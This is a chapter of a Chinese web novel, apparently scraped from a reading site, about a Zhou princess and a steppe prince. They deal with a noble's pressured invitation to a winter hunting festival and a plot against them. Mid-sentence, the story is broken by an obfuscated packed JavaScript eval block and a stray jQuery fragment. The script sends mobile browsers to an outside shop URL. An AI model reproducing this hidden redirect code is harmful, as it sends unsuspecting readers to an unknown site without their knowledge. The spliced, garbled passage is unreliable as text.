赫卢那朔离开了,帐篷内瞬间变得安静起来。
他最后的那句话语气很重,却并没有在她的脸上留下任何的表情。无论是在逃避还是什么,此刻的她只想专注眼前的事。
“有人吗?”她大声地喊。
门外的守卫听到后立刻进入帐篷,“公主有何吩咐?”
她指了指一旁的茶杯说道:“没水了。”
趁着那人帮她倒水的功夫,景岁安用闲聊的语气问道:“这哈日部会带着礼物拜访,看来与特勤关系不错?”
守卫脸上有些尴尬,哈日部为首的草原贵族一向亲近小可汗,平日对他们特勤不是嘲讽就是下绊子。可面对景岁安的询问,他总不好下自己家特勤的面子,犹豫片刻后才开口。
“是,眼下快到猎冬节了,各个贵族之间会多些走动。”
猎冬节......
这猎冬节她倒是有所耳闻,是草原上为了驱散寒冬迎接春日的重要节日,如果哈日部是为了这节日前来,赫卢那朔为何会那般紧张,甚至要刻意地将自己排除在外。
“我对草原的习俗不太了解,这猎冬节可有什么讲究?”
守卫想了想答道:“倒也没什么特别的,无非就是各个部族的首领携夫人一起参加狩猎,不为争个高低,只为得个好兆头。”
景岁安的眸子亮了亮,看来哈日部是冲她来的。
前几日长风行留下的几人被安置在营地边缘,平日帮忙做些杂货买卖,往来自由还不引人注目。没想到这么快就能派上用场。
她想了想,在守卫离开前吩咐道:“麻烦你帮我请长风行的人过来。”
片刻后一个草原装扮的中原人走了进来,恭敬地行礼。
景岁安也不绕弯子,直接问道:“近日可有关于草原内部的消息?”
那人欠身上前一步,将手中藏着的纸条递上去,“程掌事特意留意着,这几日刚来的消息,应该是公主想要的。”
景岁安打开纸条一看,抿着嘴冷笑一声后淡淡开口:
“之前还担心抓不出他们,这机会倒是自己送上门了。”
————
大帐内,赫卢那朔坐在主位上目光冰冷地看向面前的中年男人,“巴尔斯,这是何意?”
巴尔斯的脸上笑着,看似恭敬地开口:“这都是大可汗的意思,毕竟是霁周公主来草原后的第一次猎冬节,可汗格外地重视。”
他一挥手,身后的人端着个托盘上前,托盘上放着一个做工精致的马鞍。“这不,特命我带着礼物前来,还带来一匹踏雪驹,也是可汗千挑万选的。”
他抬了抬眼,笑容更浓了几分,“都是为了能让霁周公主赏个面子。”
赫卢那朔的眉毛皱得更紧了,丝毫不客气地开口:“我说了,公主身体不适。”
谁知巴尔斯并不在意,仅仅是语气弱了几分,说的话依旧是暗中逼迫:“这话特勤还是亲自与大可汗说吧,我不过是个传话的,特勤何苦与我为难呢。”
赫卢那朔死死盯着他,怒气被压制在胸口,只恨不能当场砍了他。大可汗一向不愿让中原人掺和草原的节日,若不是有人从中作梗,怎么可能突然改变心意。而这巴尔斯是出了名的笑面虎,处事圆滑就不必说了,还带了贵重礼品。这是要逼着他咽下这口气。
“巴尔斯。”他幽幽地开口,目光中的杀意一点点泄露出来,哪怕是巴尔斯也顶不住如此威压,额头开始渗出冷汗。
“我不管你奉了谁的意,你只管想若我执意与你哈日部为难,那人可会救你?”
巴尔斯脸上的笑僵住了,心中开始打鼓,赫卢那朔的疯在草原上是出了名的,哪怕只是一句威胁也足矣让他腿软。他干脆扑通一声跪下了,扯着嗓子喊:“还求特勤开恩,我不过是个传话的。”
赫卢那朔一挑眉,丝毫不吃这一套。他起身走到巴尔斯身前蹲下,声音狠厉道:“若是赫卢那烈,你猜他会为了你与我闹到大可汗面前吗?”
他的每个字都仿佛利刃刺在巴尔斯的心口。
“哈日部可曾有过战功?若只有巴结的功夫,我砍了你,想必大可汗连眉毛都不会动一下。”
“你!”巴尔斯脸上满是惊恐,死死瞪着他,“你别太嚣张,我好歹也是可汗亲封的贵族!我身后是哈日部全族!”
赫卢那朔已经站起了身,居高临下地俯视他,嘴角勾起一个瘆人的冷笑。
“草原上最不缺的就是贵族,特别是你这种用全族投靠换来的贵族。”
眼看着他要去拿刀,大帐门口却突然传来声音。
“有客怎么也不通知我一声?”
赫卢那朔脸上的表情一僵,回头望去,景岁安正笑着朝他走来。
她无视了赫卢那朔黑得骇人的脸色,走到他的身旁站定,看了看地上正跪着发抖的人,露出困惑的表情问道:“这是做什么?怎么也不给贵客看座?”
巴尔斯宛如见到了救星,慌忙开口:“见过霁周公主。”
“你…”赫卢那朔刚不满地开口就被景岁安一把抓住了手,她冰凉的手指紧紧握住他,还不忘用力地捏了捏,算是无声地压制。
这下他心里所有的火气只能往下吞,压低了声音道:“说了,你别掺和。”
景岁安脸上依旧笑着,嘴唇微动压低了声音回他:“别说话。”
景岁安拉着他的手将他带回到主座前,稍稍用力就将他摁了进去,自己则在一旁落座,一切落在外人眼里不过是新婚夫妻的恩爱举动。
“听说你送来贵重的礼物就是为了邀请我出席猎冬节?”她声音温和还带着笑意,顿时让跪着的巴尔斯放松了不少。
“是,我奉大可汗之命,还望公主能给个面子出席草原盛会。”
她笑着伸手拉住赫卢那朔的手,看着格外亲热,眼神却在无声地压制着想要杀人的赫卢那朔,开口说话时还带着歉意,“我身子一向不好,前几日大病一场让特勤担忧不已。”
说完还不忘深情地看了赫卢那朔一眼,惹得他浑身不自在。
“方才特勤也是关心则乱,这才与你说话失了礼数,还请你别往心上去。”
巴尔斯冒着冷汗连连点头,“不敢,不敢。”他脸上心虚地笑着,他有几个脑袋敢跟这位爷置气。
见赫卢那朔一直没说话,巴尔斯小心翼翼地看过去,只觉得是自己眼花,不然刚刚还冷着脸要打要杀的杀神,怎的如今被公主一牵就变得乖巧了?
虽然脸色依旧吓人......
再看这个瘦弱的霁周女人满脸笑意,目光温柔,在赫卢那朔身边被衬得像个柔弱小白兔。可就是这样的人,却把赫卢那朔制得服服帖帖。
赫卢那朔突然瞪过来,他连忙低下头去,生怕再多看一眼就要被赫卢那朔挖了眼睛。
“既然大可汗的意思已经传到了,那我便回去了。”他匆忙起身,满脸堆笑,生怕晚走一步都会有意外发生。
景岁安站起身相送,“好,还请你告知大可汗,岁安定会出席,感谢可汗相邀。”
“是,是。”他一边退一边说着。
待人走后,景岁安立刻松开了手,脸上的笑容也瞬间消失。
赫卢那朔再也憋不住火气,开口也多了阴阳怪气的味道,“如今倒是会自己往火坑里跳了?”
景岁安瞥了他一眼,眼神中亦是不满,想要压制脾气开口却已经带了刺,“把人砍了?倒是极好的处理方式呀。”
她倒是恶人先告状,赫卢那朔眉毛一紧,无语的笑出了声。
谁知她一下子站了起来,冷淡地看着他说道:“特勤不必给我脸色,我过来也不是为了找特勤的麻烦。我得到个消息,觉得特勤应该会感兴趣。”
她的眉毛微微挑起,看着赫卢那朔的眼睛似乎在说:收起你的臭脾气。
他深吸了一口气,认清了现实,只要对上景岁安,他毫无胜算。只得努力地让声音听起来平静些,“你说。”
景岁安见好就收,哪怕他的模样憋屈得像个受气的小媳妇,她也没嘲笑出声,这算是为数不多的尊重。“这事不是大可汗的意思,是有人特意在可汗面前求了赏赐,就为了逼你松口。”
赫卢那朔垂下眼睛,咬牙切齿地说:“赫卢那烈。”
“不是。”
他疑惑抬眼,对上景岁安闪着光的眸子,她似乎有些兴奋。
“听说大可汗本不愿我这个霁周人出席草原盛会,冒这个风险只为设计我,小可汗犯不上。”她顿了顿,见吊足了胃口才继续说道:“刚刚的巴尔斯不过是个没实权的贵族,空有名头,而草原上这样的人不在少数。这费力不讨好的差事偏偏是他来,你觉得他,或者他们想要的是什么?”
赫卢那朔冷着脸,更后悔刚刚没直接砍了那货。
“看来主战派坐不住了。”他的声音阴冷到了极点,抬眸看向景岁安,声音重了几分,“那你更不能去了。”
可景岁安眼中没有丝毫担忧之色,甚至有期待在闪烁着,“为什么?如今营内奸细还没处理干净,外面又是虎视眈眈。难道这么好的机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743679|209170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会特勤要白白放弃?”
“坐以待毙不如主动入局。”
赫卢那朔看着她,只觉得头疼。明知道她拿定了主意就不会松口,可心中的不安叫嚣着让他再难克制,一冲动竟上手抓住了她的手臂。
顿时帐内安静了,只剩下他沉重的心跳声。他望着她惊慌之下看过来的眼眸,许多话在脑中打架,最终开口没了一丝的强硬,竟听出请求的滋味,“别去,你涉险换来的我不要。”
面对他的肺腑之言,景岁安只是皱了皱眉。她觉得赫卢那朔不正常,但一想到他做事向来不正常,所以也并不打算追究。只是胸口有些异常的反应,惹得她有些心慌。
“你先松开。”一开口更是心中一惊,这语气怎么自己就软了三分?
这话传到赫卢那朔耳中让他心里一颤,似乎有一根羽毛在他心间撩拨。顿时空气中有什么怪异的东西蔓延开来,二人僵持着,谁也不看谁,谁也不敢动。
赫卢那朔小心翼翼地看向她,不知道哪来的勇气,竟想着开口告诉她自己有多担心。目光触及她微微发红的耳朵时,那冲动更盛。
“我......”
......
“特勤!”随着一阵急促的脚步声,赤那一把掀开大帐的门帘冲了进来,“听说巴尔斯来了!你......”
他跑得上气不接下气,却也被突然闯进眼前的一幕惊得愣在原地,险些忘了呼吸。
这是在做什么?他们靠这么近干什么?怎么还拉着手呢?
嘶......
反应过来后,他两眼一黑。
完了......
他心虚地一步步后退,“那个......”
景岁安先缓过神来,一下挣脱了赫卢那朔的手,紧接着赫卢那朔的目光如刀般向赤那刺了过去。
赤那顿时汗流浃背,尬笑着就想退出去,却被景岁安开口拦下。
“你留下。”
“啊?”赤那茫然地看着她,而她已经缓好了心情,好似什么都不曾发生过,“我的马术不算好,距离猎冬节还有些日子,麻烦赤那教教我。”
赫卢那朔的脸顿时更黑了,若说骑马射箭,幼时她可没少在自己面前夸耀过,如今这又是在演哪出?
“啊?我吗?”赤那只觉得眼前更黑了。
景岁安不看赤那,倒是看向赫卢那朔,开口不像是商量,“无论特勤愿意与否,我会出席已是板上钉钉,自是要多些准备……”
只是话都没说完,赫卢那朔就黑着脸开口打断:“何须麻烦赤那。”他的目光带着笑却让景岁安感到凉飕飕的。
“我的骑射也不差。”他笑意渐浓,“我亲自教你。”
眼看着她脸色一怔,似乎还要推脱。赫卢那朔立刻开口堵住她的退路:“你若同意,我可以考虑让你出席。”
他心里清楚,既然都是拦不住的,与其阻止后她自己想办法瞒着他去冒险,不如让她脱离不了自己的视线。
“成交。”她看似犹豫后才勉强答应,只是无人察觉,她的眼底深处闪过一丝不易察觉的狡黠。
她赌的就是他先坐不住,方才险些被赫卢那朔牵着鼻子走,不得已才出此下策。主动权必须牢牢地掌控在她手中,至于方式方法,则有什么就用什么。
这不叫阴险,这是丢饵。
如何丢饵,是门学问。景岁安不才,对此颇有建树。
......
风吹过大帐,扫过辽阔草地,穿过牛羊成群,最终落在偏僻的部落营地之中。这里不比苍狼骑,位置偏远不说,领地面积更是小了不少。
大帐内有人焦急地等待着,直到听到脚步声传来才回过头来,“成了?”
巴尔斯来不及喘口气,悻悻道:“成了。若还有下次我可不去了!那赫卢那朔就是个疯子!”
面前的人连忙上前安慰,“这也是为了你我的部族,我们身为首领,身后的可是各自部落的数百号人,怎能退缩。”
巴尔斯懒得与他废话,摆摆手打发他。
突然巴尔斯想到了什么,压低了声音问:“真的不告知小可汗吗?若日后小可汗得知,我们怕是要大难临头。”
那人只是冷笑,“怕什么?如今小可汗不在苍狼庭,等他赶回已是猎冬节。等一切尘埃落定,他还能说什么?”
说的也是啊,巴尔斯点点头,眼中寒光一闪。
只要一切按计划进行,做得不留痕迹,就算是大可汗也不会说什么,到那时谁还管什么小可汗。